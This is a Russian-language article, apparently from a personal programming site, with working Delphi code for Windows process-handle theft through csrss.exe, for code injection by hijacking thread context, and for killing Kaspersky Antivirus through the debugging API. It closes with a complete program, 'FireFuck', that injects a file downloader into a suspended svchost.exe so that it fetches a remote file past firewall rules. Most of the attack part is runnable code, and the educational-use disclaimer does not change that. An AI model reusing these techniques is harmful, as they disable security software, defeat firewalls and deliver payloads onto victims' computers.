hSourceProcessHandle - хэндл исходного процесса (откуда производится копирование),
hSourceHandle - копируемый хэндл в исходном процессе,
hTargetProcessHandle - хэндл целевого процесса (куда производится копирование),
lpTargetHandle - указатель, по которому будет сохранен хэндл применимый в целевом процессе,
dwDesiredAccess - права доступа назначаемые новому хэндлу (не могут быть выше текущих прав доступа хэндла),
bInheritHandle - наследуемость хэндла,
dwOptions - параметры копирования (DUPLICATE_CLOSE_SOURCE - исходный хэндл после копирования будет закрыт, DUPLICATE_SAME_ACCESS - просто скопировать хэндл (без изменения прав доступа).

Для того, чтобы скопировать нужный хэндл, нам нужно открыть процесс csrss.exe с флагом PROCESS_DUP_HANDLE, а также для этого необходимо знать значение интересующего нас хэндла в таблице исходного процесса.
Документированными способами получить список хэндлов в другом процессе невозможно, поэтому придется обратиться к Native API , где нас интересует функция ZwQuerySystemInformation:


CODE NOW!
Function ZwQuerySystemInformation(ASystemInformationClass:Cardinal;
ASystemInformation:Pointer;
ASystemInformationLength:Cardinal;
AReturnLength:PCardinal):NTStatus;
stdcall;external ’ntdll.dll’;




Параметры принимаемые этой функцией я описал в прошлой статье "Перехват API функций в Windows NT", поэтому не буду подробно здесь описывать параметры принимаемые этой функцией.
Для получения информации о хэндлах нам необходимо вызвать функцию ZwQuerySystemInformation с классом SystemHandleInformation (const SystemHandleInformation = $10;)
При этом функция возвращает структуру SYSTEM_HANDLE_INFORMATION_EX :

CODE NOW!
PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
SYSTEM_HANDLE_INFORMATION_EX = packed record
NumberOfHandles: dword;
Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
end;




Элементами этой структуры являются NumberOfHandles - число возвращенных хэндлов, и массив элементов SYSTEM_HANDLE_INFORMATION:

CODE NOW!
PSYSTEM_HANDLE_INFORMATION = ^SYSTEM_HANDLE_INFORMATION;
SYSTEM_HANDLE_INFORMATION = packed record
ProcessId: dword;
ObjectTypeNumber: byte;
Flags: byte;
Handle: word;
pObject: pointer;
GrantedAccess: dword;
end;




Рассмотрим поля этой структуры:
ProcessId - идентификатор процесса владеющего данным хэндлом,
ObjectTypeNumber - тип объекта, который описывает хэндл (именовать типы можно через ZwQueryObject),
Flags - специфичные для каждого типа хэндла,
Handle - значение хэндла,
pObject - адрес структуры объекта в пространстве ядра,
GrantedAccess - маска доступа к объекту разрешенная для данного хэндла.

Для облегчения дальнейшей работы, введем функцию для получения любой системной информации через ZwQuerySystemInformation:

CODE NOW!
{ Получение буфера с системной информацией }
Function GetInfoTable(ATableType:dword):Pointer;
var
mSize: dword;
mPtr: pointer;
St: NTStatus;
begin
Result := nil;
mSize := $4000; //начальный размер буффера
repeat
mPtr := VirtualAlloc(nil, mSize, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
if mPtr = nil then Exit;
St := ZwQuerySystemInformation(ATableType, mPtr, mSize, nil);
if St = STATUS_INFO_LENGTH_MISMATCH then
begin //надо больше памяти
VirtualFree(mPtr, 0, MEM_RELEASE);
mSize := mSize * 2;
end;
until St <> STATUS_INFO_LENGTH_MISMATCH;
if St = STATUS_SUCCESS
then Result := mPtr
else VirtualFree(mPtr, 0, MEM_RELEASE);
end;




Получив список хэндлов, мы будем перебирать их, и сравнивать Id процесса владеющего хэндлом с id процесса csrss.exe. Нас интересуют хэндлы с ObjectTypeNumbe = 5, это хэндлы процессов.
После получения значения хэндла мы его скопируем в таблицу нашего процесса с помощью DuplicateHandle.
После этого нам нужно проверить, к какому процессу относиться полученный хэндл. Для этого можно использовать функцию ZwQueryInformationProcess:

CODE NOW!
Function ZwQueryInformationProcess(ProcessHandle:THANDLE;
ProcessInformationClass:DWORD;
ProcessInformation:pointer;
ProcessInformationLength:ULONG;
ReturnLength:PULONG):NTStatus;stdcall;
external ’ntdll.dll’;




Принимаемые параметры:
ProcessHandle - хэндл процесса,
ProcessInformationClass - тип получаемой информации,
ProcessInformation - указатель на участок памяти, куда будет записана полученная информация,
ProcessInformationLength - размер выделенного участка памяти,
ReturnLength - возвращает размер записанной структуры (может быть nil).

Нас интересует тип информации - ProcessBasicInformation для которого возвращается следующая структура:

CODE NOW!
PPROCESS_BASIC_INFORMATION = ^_PROCESS_BASIC_INFORMATION;
_PROCESS_BASIC_INFORMATION = packed record
ExitStatus: BOOL;
PebBaseAddress: pointer;
AffinityMask: PULONG;
BasePriority: dword;
UniqueProcessId: ULONG;
InheritedFromUniqueProcessId: ULONG;
end;




Здесь нас интересует поле UniqueProcessId, которое и представляет искомый Id процесса.
Затем сравниваем полученный Id с id искомого процесса, и если они не равны, то закрываем полученный хэндл и продолжаем поиск.

Все вышеприведенное реализует следующий код:

CODE NOW!
{ получение хэндла процесса альтернативным методом }
Function OpenProcessEx(dwProcessId: DWORD): THandle;
var
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
ProcessInfo: _PROCESS_BASIC_INFORMATION;
idCSRSS: dword;
hCSRSS : dword;
tHandle: dword;
r : dword;
begin
Result := 0;
//открываем процесс csrss.exe
idCSRSS := GetProcessId(’csrss.exe’);
hCSRSS := OpenProcess(PROCESS_DUP_HANDLE, false, idCSRSS);
if hCSRSS = 0 then Exit;
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo <> nil then
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ObjectTypeNumber = $5) and //тип хэндла - процесс
(HandlesInfo^.Information[r].ProcessId = idCSRSS) then //владелец - CSRSS
begin
//копируем хэндл себе
if DuplicateHandle(hCSRSS, HandlesInfo^.Information[r].Handle,
INVALID_HANDLE_VALUE, @tHandle, 0, false,
DUPLICATE_SAME_ACCESS) then

begin
ZwQueryInformationProcess(tHandle, ProcessBasicInformation,
@ProcessInfo,
SizeOf(_PROCESS_BASIC_INFORMATION), nil);
if ProcessInfo.UniqueProcessId = dwProcessId then
begin
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
CloseHandle(hCSRSS);
Result := tHandle;
Exit;
end else CloseHandle(tHandle);
end;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
CloseHandle(hCSRSS);
end;




Исполнение удаленного кода без CreateRemoteThread:

Ходят слухи, что существуют программы запрещающие исполнение CreateRemoteThread, и якобы это стопроцентная защита от API перехвата. Я не знаю, действительны ли эти слухи (не довелось увидеть еще такую программу), но предполагая их наличие решим задачу исполнения внедренного кода без использования удаленных потоков.
Задача эта не имеет в себе ничего сложного, и решается через функции GetThreadContext, SetThreadContext, которые служат для получения и установки контекста нити (содержимого её регистров). Для этого мы либо запускаем процесс и получаем хэндл его главной нити, либо открываем с помощью OpenThread нить принадлежащую работающему процессу, останавливаем нить (SuspendThread), после чего получаем контекст нити (GetThreadContext), изменяем содержимое регистра EIP так, чтобы он указывал на наш внедряемый код, потом запускаем нить (ResumeThread).
Следующий код запускает процесс "зомби", в контексте которого будет исполняться наша DLL:


CODE NOW!
{ создание процесса "зомби", в контексте которого будет выполняться наша DLL }
function CreateZombieProcess(lpCommandLine: pchar;
var lpProcessInformation: TProcessInformation;
ModulePath: PChar): boolean;
var
Memory:pointer;
Code: dword;
BytesWritten: dword;
Context: _CONTEXT;
lpStartupInfo: TStartupInfo;
Inject: packed record
PushCommand : byte;
PushArgument: DWORD;
CallCommand: WORD;
CallAddr: DWORD;
PushExitThread: byte;
ExitThreadArg: dword;
CallExitThread: word;
CallExitThreadAddr: DWord;
AddrLoadLibrary: pointer;
AddrExitThread: pointer;
LibraryName: array[0..MAX_PATH] of Char;
end;
begin
Result := False;
//запускаем процесс
ZeroMemory(@lpStartupInfo, SizeOf(TStartupInfo));
lpStartupInfo.cb := SizeOf(TStartupInfo);
if not CreateProcess(nil, lpCommandLine, nil, nil,
false, CREATE_SUSPENDED, nil, nil,
lpStartupInfo, lpProcessInformation) then Exit;
//выделяем память для внедряемого кода
Memory := VirtualAllocEx(lpProcessInformation.hProcess, nil, SizeOf(Inject),
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if Memory = nil then
begin
TerminateProcess(lpProcessInformation.hProcess, 0);
Exit;
end;
Code := dword(Memory);
//инициализация внедряемого кода:
Inject.PushCommand := $68;
inject.PushArgument := code + $1E;
inject.CallCommand := $15FF;
inject.CallAddr := code + $16;
inject.PushExitThread := $68;
inject.ExitThreadArg := 0;
inject.CallExitThread := $15FF;
inject.CallExitThreadAddr := code + $1A;
inject.AddrLoadLibrary := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’LoadLibraryA’);
inject.AddrExitThread := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’ExitThread’);
lstrcpy(@inject.LibraryName, ModulePath);
//записать машинный код по зарезервированному адресу
WriteProcessMemory(lpProcessInformation.hProcess, Memory,
@inject, sizeof(inject), BytesWritten);

//получаем текущий контекст первичной нити процесса
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(lpProcessInformation.hThread, Context);
//изменяем контекст так, чтобы выполнялся наш код
Context.Eip := code;
SetThreadContext(lpProcessInformation.hThread, Context);
//запускаем нить
ResumeThread(lpProcessInformation.hThread);
end;




С работающим процессом так поступить будет немного труднее, так как необходимо обеспечить нормальное функционирование процесса после внедрения, а значит надо восстанавливать контекст потока после завершения удаленного кода. Узнать момент завершения внедренного кода будет трудно, поэтому нужно передать старое содержимое регистра eip в внедряемый код, и позаботиться о сохранности содержимого регистров. После выполнения, внедренный код должен восстановить содержимое регистров потока и передать управление в точку, где поток был прерван.
Все это реализует следующий код:

CODE NOW!
{ Внедрение DLL альтернативным способом (без CreateRemoteThread) }
function InjectDllAlt(Process: dword; ModulePath: PChar): boolean;
var
Context: _CONTEXT;
hThread: dword;
ProcessInfo: _PROCESS_BASIC_INFORMATION;
InjData: packed record
OldEip: dword;
OldEsi: dword;
AdrLoadLibrary: pointer;
AdrLibName: pointer;
end;

Procedure Injector();
asm
pushad
db $E8 // опкод call short 0
dd 0 //
pop eax // eax - адрес текущей инструкции
add eax, $12
mov [eax], esi // модифицируем операнд dd $00000000
push [esi + $0C] // кладем в стек имя DLL
call [esi + $08] // call LoadLibraryA
popad
mov esi, [esi + $4] // восстанавливаем esi из старого контекста
dw $25FF // опкод Jmp dword ptr [00000000h]
dd $00000000 // модифицируемый операнд
ret
end;

begin
Result := false;
//получаем id процесса
ZwQueryInformationProcess(Process, ProcessBasicInformation,
@ProcessInfo,
SizeOf(_PROCESS_BASIC_INFORMATION), nil);
//открываем первую попавшуюся нить
hThread := OpenThread(THREAD_ALL_ACCESS, false,
SearchProcessThread(ProcessInfo.UniqueProcessId));
if hThread = 0 then Exit;
SuspendThread(hThread);
//сохраняем старый контекст
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(hThread, Context);
//подготавливаем данные для внедряемого кода
InjData.OldEip := Context.Eip;
InjData.OldEsi := Context.Esi;
InjData.AdrLoadLibrary := GetProcAddress(GetModuleHandle(’kernel32.dll’),
’LoadLibraryA’);
InjData.AdrLibName := InjectString(Process, ModulePath);
if InjData.AdrLibName = nil then Exit;
//внедряем данные и устанавливаем ebp контекста
Context.Esi := dword(InjectMemory(Process, @InjData, SizeOf(InjData)));
//внедряем код
Context.Eip := dword(InjectMemory(Process, @Injector, SizeOfProc(@Injector)));
//устанавливаем новый контекст
SetThreadContext(hThread, Context);
ResumeThread(hThread);
Result := true;
end;




В этом примере используется внедрение базонезависимого кода и структуры с необходимыми ему данными. Адрес данных передается в регистре esi. Код сохраняет содержимое всех регистров потока, загружает заданную DLL, после чего восстанавливаются регистры и производится переход на адрес, на котором был прерван поток. Так как нам нужно восстановить значения всех регистров, то нельзя использовать регистровый переход, но можно записать опкод команды jmp dword ptr [0] и модифицировать ее операнд налету, что и используется в приведенном примере.
Единственный недостаток этого метода в том, что если для внедрения мы используем нить находящуюся уже в приостановленном состоянии, то загрузка DLL произойдет тогда, когда нить выйдет из состояния ожидания.

Работа с контекстами потоков это только один из многих способов исполнения удаленного кода, можно например собрать код перехватчика какой-либо часто используемой API налету и внедрить перехват записью кода в уже загруженную библиотеку, в общем можно много чего придумать.



Практическое применение:
Убиваем а нтивирус К асперского:

Лаборатория К асперского заявляет, что их антивирус не может быть уничтожен вредоносными программами, сейчас мы докажем, что это не так.
Антивирус К асперского устанавливает в систему драйвер, который перехватывает в ядре функции Native API: ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает любую работу этих API с своим процессом.
Для открытия процесса антивируса можно использовать метод OpenProcessEx. После этого мы получаем доступ к памяти антивируса, но прибить процесс через TerminateProcess по прежнему невозможно. Первое, что приходит в голову - это выполнить CreateRemoteThread с адресом Kernel32! ExitProcess, но этот метод не срабатывает, так как ExitProcess обращается к перехваченной ZwTerminateProcess. Но существует как всегда обходной способ. В наборе Native API в Windows XP есть функция DbgUiDebugActiveProcess предназначенная для взятия процесса в режим отладки, перед отладкой необходимо создать Debug обьект вызовом DbgUiConnectToDbg.
Вот прототипы этих функций:

CODE NOW!
Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external ’ntdll.dll’;
Function DbgUiConnectToDbg(): NTStatus;stdcall;external ’ntdll.dll’;




После перевода процесса в режим отладки он будет завершен при уничтожении связанного с ним Debug объекта, например это произойдет при завершении процесса отладчика. Нам нужно прибить отлаживаемый процесс, и при этом продолжить выполнение текущего процесса, значит нужно получить информацию о открытых нашим процессом хэндлах, найти и закрыть Debug объект.
Все эти действия производит следующий код:

CODE NOW!
{ убивание процесса отладочным методом }
Function DebugKillProcess(ProcessId: dword): boolean;
var
pHandle: dword;
myPID: dword;
HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX;
r: dword;
begin
Result := false;
myPID := GetCurrentProcessId();
if not EnableDebugPrivilege() then Exit;
//подключаемся к системе отладки и получаем DebugObject
if DbgUiConnectToDbg() <> STATUS_SUCCESS then Exit;
pHandle := OpenProcessEx(ProcessId);
//включаем отладку процесса
if DbgUiDebugActiveProcess(pHandle) <> STATUS_SUCCESS then Exit;
//надо найти полученный DebugObject
HandlesInfo := GetInfoTable(SystemHandleInformation);
if HandlesInfo = nil then Exit;
for r := 0 to HandlesInfo^.NumberOfHandles do
if (HandlesInfo^.Information[r].ProcessId = myPID) and
(HandlesInfo^.Information[r].ObjectTypeNumber = $8) //DebugObject
then begin
//закрываем DebugObject, что приводит к уничтожению отлаживаемого процесса
CloseHandle(HandlesInfo^.Information[r].Handle);
Result := true;
break;
end;
VirtualFree(HandlesInfo, 0, MEM_RELEASE);
end;




После чего антивирус К асперского убивается одной строкой:

DebugKillProcess(GetProcessId(’kavmm.exe’));

Также, этим методом можно убить почти любую программу, авторы которой заявляют, что она неубиваемая.


Обходим фаерволл:

Сейчас для борьбы с троянскими программами на рынке ПО существует довольно много персональных продуктов. Это Z one A larm, K aspersky Anty Hacker, K erio Personal Firewall, A gnitum O utpost Firewall и другие.
По моему мнению, наиболее продвинутым в области борьбы с методами внедрения кода является Agnitum Outpost Firewall Pro, который обеспечивает контроль DLL используемых приложением, контроль OpenProcess (блокирует сетевой доступ при изменении памяти другим приложением) и так называемый контроль скрытых процессов (процессов запущенных с флагом WM_HIDE, тоесть с скрытым окном, а не по-настоящему скрытых процессов). Сейчас мы напишем программу, которая будет получать данные из интернета в обход правил фаерволла.
Фаерволлы контролируют запись в память, но при создании нового процесса производится запись в его память со стороны родительского процесса, поэтому фаерволлы начинают контролировать запись в память только с момента запуска первой нити процесса. Также фаерволлы контролируют создание удаленных потоков, поэтому мы будем использовать манипуляцию с контекстами главной нити процесса. Общий алгоритм таков: запускается процесс которому разрешено коннектиться на 80 TCP порт, при запуске устанавливается флаг CREATE_SUSPENDED чтобы его первая нить не была запущена, внедряется код загрузчика файлов (нельзя использовать ни DLL Injection ни в каком виде), изменяется контекст первой нити так, чтобы регистр Eip указывал на точку входа внедренного кода, после чего производиться запуск нити.
Код загрузчика должен быт написан с применением только kernel32.dll и wsock32.dll, так как других библиотек в контексте приложения может и не быть, а их загрузка будет замечена фаерволлом.

Вот полный исходный текст программы загружающей файл по URL http://192.168.0.58/1.mp3 в корень диска C:


CODE NOW!
program FireFuck;

uses
Windows, WinSock;

{$IMAGEBASE $13140000}

{ Определение положения подстроки в строке }
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail

@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop

@fail:
pop edx
xor eax, eax
jmp @exit

@stringEmpty:
xor eax, eax
jmp @noWork

@found:
pop edx
mov eax, edi
sub eax, edx

@exit:
pop edi
pop esi
pop ebx

@noWork:
end;

{ Копирование строк }
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;

{ Копирование участка памяти }
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;


Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos(’/’, Address) - 1);
URL := MyCopy(Address, MyPos(’/’, Address), lstrlen(Address) - MyPos(’/’, Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, ’GET ’);
lstrcat(Str, URL);
lstrcat(Str, ’ HTTP/1.0’#10#13’Host: ’);
lstrcat(Str, Site);
lstrcat(Str, #13#10’Connection: close’#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed < 1024 then
begin
Inc(BufferLength, 1024);
Buffer := HeapReAlloc(hHeap, 0, Buffer, BufferLength);
end;
Bytes := recv(FSocket, pointer(dword(Buffer) + BufferUsed)^, 1024, 0);
if Bytes > 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;

{ процедура выполняющаяся в контексте доверенного приложения }
Procedure Download(); stdcall;
const
URL : PChar = ’192.168.0.58/1.mp3’;
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary(’wsock32.dll’);
Buff := DownloadFile(URL, Size);
dFile := CreateFile(’c:\1.mp3’, GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;


var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;

begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, ’svchost.exe’, nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end.



Заключение:

Из всего вышесказанного следует, что технологии внедрения кода и перехвата API могут служить для обхода практически любой защиты и создания чрезвычайно опасных вредоносных программ. Также они могут быть использованы и для создания систем безопасности. Также вышеприведенные примеры показывают, что как бы производители не рекламировали непробиваемость своих фаерволлов, все равно они спасают только от самых примитивных вредоносных программ. Здесь приведен пример "чистого", полностью программного обхода фаерволла, но это можно сделать гораздо проще, если подключить троянскую DLL к разрешенной программе, так как большинство пользователей проигнорируют сообщение фаерволла и разрешат доступ. Надежность антивирусов тоже не следует считать достаточной, так как они могут быть легко уничтожены вредоносной программой. В настоящее время от подобных приемов защиты не существует, поэтому нужно быть осторожным при установке нового софта, так как неизвестно, что может в себе содержать любая программа.
Также хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб нанесенный применением полученных знаний. Также приведенные здесь примеры не имеют цель нанести какой-либо ущерб лаборатории Касперского и компании Agnitum, а лишь призваны показать уязвимости в их продуктах.
Если вы с этим не согласны, то пожалуйста удалите статью с всех имеющихся у вас носителей информации и забудьте прочитанное.

Приложение:

Все что описано в статье вы можете увидеть на практике своими глазами, если скачаете примеры к статье.

advApiHook (38 кб)
http://ms-rem.narod.ru/hook/ApiHook2/files/advApiHook.rar
Моя библиотека Advanced Api Hook в которой реализовано все вышеприведенное.
Примеры использования находятся в архиве с библиотекой.

FireFuck (10 кб)
http://ms-rem.narod.ru/hook/ApiHook2/files/FireFuck.rar
Пример обхода фаерволла.

Комментарии

отсутствуют

Добавление комментария


Ваше имя (на форуме):

Ваш пароль (на форуме):

Комментарии могут добавлять только пользователи,
зарегистрированные на форуме данного сайта. Если Вы не
зарегистрированы, то сначала зарегистрируйтесь тут

Комментарий:





Главная     Программы     Статьи     Разное     Форум     Контакты